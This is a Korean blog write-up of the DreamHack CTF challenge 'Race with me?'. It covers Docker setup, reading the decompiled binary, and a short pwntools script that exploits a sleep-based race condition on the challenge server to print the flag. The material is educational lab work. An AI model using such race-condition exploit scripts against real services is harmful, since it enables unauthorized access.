1. 개요
이 문제는 레이스 컨디션 문제로, 컴퓨터에서 여러 개의 작업이 같은 데이터를 동시에 수정하려고 할 때 발생하는 예상치 못한 오류로 인해 생기는 취약점을 다루고 있다. 문제는 밑에 링크 걸어두었다.
다음으로 다룰 건 문제 구성 파일 분석 및 도커 이미지 실행 과정으로, 그냥 문제 풀이로 가려면 3번으로 가면 된다
Race with me?
Korean 빠르게 달려볼까요~? [2025년 1월 13일 (월) 오후 10:35분] 오타 및 줄바꿈 변경 English Shall we run fast~? [January 13, 2025 (Monday) 10:35 PM] Typos and line breaks changed
dreamhack.io
2. 문제 파일 분석
문제 구성은 도커 파일과 deploy 폴더가 있다. deploy 폴더 내부로 들어갔더니 chall과 flag 파일이 보인다.
따라서 도커로 이미지를 열어본다.


2-1. 문제 파일을 저장한 경로로 가서 cmd 창을 열기


[참고사항] 여기선 도커 데스크탑을 설치해둔 상태로, 일단 도커가 실행되고 있어야 docker 명령어 오류가 안생긴다
2-2. docker 명령어 입력하기
여기선 이미지 이름을 알아보기 쉽게 racew라고 이름을 지어줬다.
docker build -t [이미지 이름] .
docker run -it [이미지 이름]


2-3. 컨테이너 내부 진입 후 파일 확인
대쉬보드로 넘어가보면 이미지처럼 컨테이너가 racew 이미지로 생성된 걸 볼 수 있다. 파워셀을 열어 다음의 명령어를 입력한다.
docker exec -it [컨테이너 이름] /bin/bash


2-4. chall과 flag 파일 확인
일단 chall 파일은 바이너리 파일이라 깨져서 나오는데 일부를 보면 1. Input value 2.Start thread 등등 일부가 보인다.
사용자 입력을 받고 스레드를 시작하고 플래그를 얻는 거라고 생각하고 다음단계로 간다

추가적으로 flag 파일을 확인해보면 다음처럼 나오는데.. 그럼 그렇지 ㅡㅡ

3. 문제 풀이
다음의 사진은 IDA로 디컴파일한 chall의 일부로, 문제를 풀면서 가장 눈여겨 본 부분이다.

3-1. case 3
if ( qword_4030 == 3735928559LL )
printf("Flag : %s\n", (const char *)ptr);
qword_4030 == 3735928559LL 이라면 flag를 출력한다는 의미이다.
여기서 qword_4030은 인증받아야 하는 어떤 변수, 3735928559LL은 변하지 않는 값이라고 추측하게 되었다.
3-2. case 1
printf("Input: ");
__isoc99_scanf("%lu", &qword_4038);
이 부분은 사용자 입력값을 qword_4038이란 변수에 저장한단 의미이다.
여기서 눈여겨 볼 곳은 이 변수로, 레이스 컨디션 공격의 중요한 부분 중 하나는 확실하다고 보게 되었디.
3-3. case 2
if ( pthread_create(&newthread, 0LL, start_routine, 0LL) )
{
perror("Thread creation failed\n");
exit(1);
}
pthread_detach(newthread);
이 부분에서는 세가지를 눈여겨 볼 수 있다.
- pthread_create() : 새로운 스레드를 만드는 함수
- pthread_detach() : 스레드가 독립적으로 실행되다 끝나면 정리하는 함수
- start_routine : 새로운 스레드가 생성되었을 때 실행할 무언가. >> 어떤 동작이 있을 거라고 생각할 수 있다.
3-4. start_routine

예상대로 start_routine에는 스레드가 생성될 때 실행할 무언가가 맞았다.
이 부분에선 qword_4038 즉, 사용자 입력값이 3735928559LL이 아닐 경우, 0xAu(10초)동안 스레드를 재운 후 qword_4030(인증받아야 하는 변수)에 사용자 입력값을 복사한다는 의미다,
쉽게 얘기해서 스레드를 재울 때 값을 입력한 후, 스레드가 일어나면 인증받아야 할 변수에 이 값을 복사한다는 거다.
복잡하면 걍 이렇게 생각하자.
스레드 = 자동차 / sleep = 정지
- 자동차가 쌩 달리고 있는데 갑자기 10초동안 정지하라고 한다
- 원래 있던 4030운전석에 4038(사용자 입력값)이 앉는다
(GTA??) - 자동차는 10초 후 운전자가 누군지도 모르고 그대로 쌩 달린다.
3-5. 4038이 4030에 앉으려면?

스레드가 잠들어있는 동안 값을 조작해서 스레드가 일어나면 원하는 값으로 설정되게끔 파이썬 스크립트를 작성해야한다.
스크립트의 내용을 간략하게 설명하면 다음과 같다.
- 2번 Start thread에서 스레드를 생성한다. (여기서 start_routine이 동작하면서 스레드가 잠든다)
- 스레드가 잠들었을 때 1번 Input value에서 사용자 입력값에 3735928559를 입력해둔다,
- 스레드가 일어날 때까지 10초간 기다리면 자동으로 4038(사용자 입력값)은 4030에 복사된다.
- 이 때 3번 Get Flag로 플래그를 출력하면 값을 얻을 수 있다.
from pwn import * # Pwntools 라이브러리 불러오기
import time
p = remote('host1.dreamhack.games', 16246) # DreamHack 서버의 포트번호 16246에 연결
p.sendlineafter(b'Input: ', b'2') # 2번(스레드 생성)
p.sendlineafter(b'Input: ', b'1') # 1번(값 입력)
p.sendlineafter(b'Input: ', b'3735928559') # 3735928559 = 0xDEADBEEF
time.sleep(10) # 10초 대기 (스레드가 sleep(10) 중이므로)
p.sendlineafter(b'Input: ', b'3') # 3번(플래그 출력)
flag = p.recvline().decode()
print(f'Flag: {flag}') # 플래그 출력
이 자동화 스크립트는 다음의 블로그에서 참고한 것으로, 링크를 남겨둔다.
https://hyungin0505.tistory.com/99
레이스 컨디션 (Race Condition) & TOCTOU
레이스 컨디션 (Race Condition)두 개 이상의 프로세스 혹은 스레드가 공유 리소스(파일, 메모리 등)에 접근할 때, 실행 순서에 따라 예상하지 못한 결과가 발생하는 상황이다실행 순서가 올바르게
hyungin0505.tistory.com
3-6. [부록] 실습영상 : 스크립트의 결과
다음은 실습한 걸 영상으로 찍어둔 거다.
동영상 서비스가 종료되어 해당 콘텐츠를 재생할 수 없습니다.
'컴퓨터 > 드림핵' 카테고리의 다른 글
| [드림핵] cmd_center 풀이 (0) | 2025.03.03 |
|---|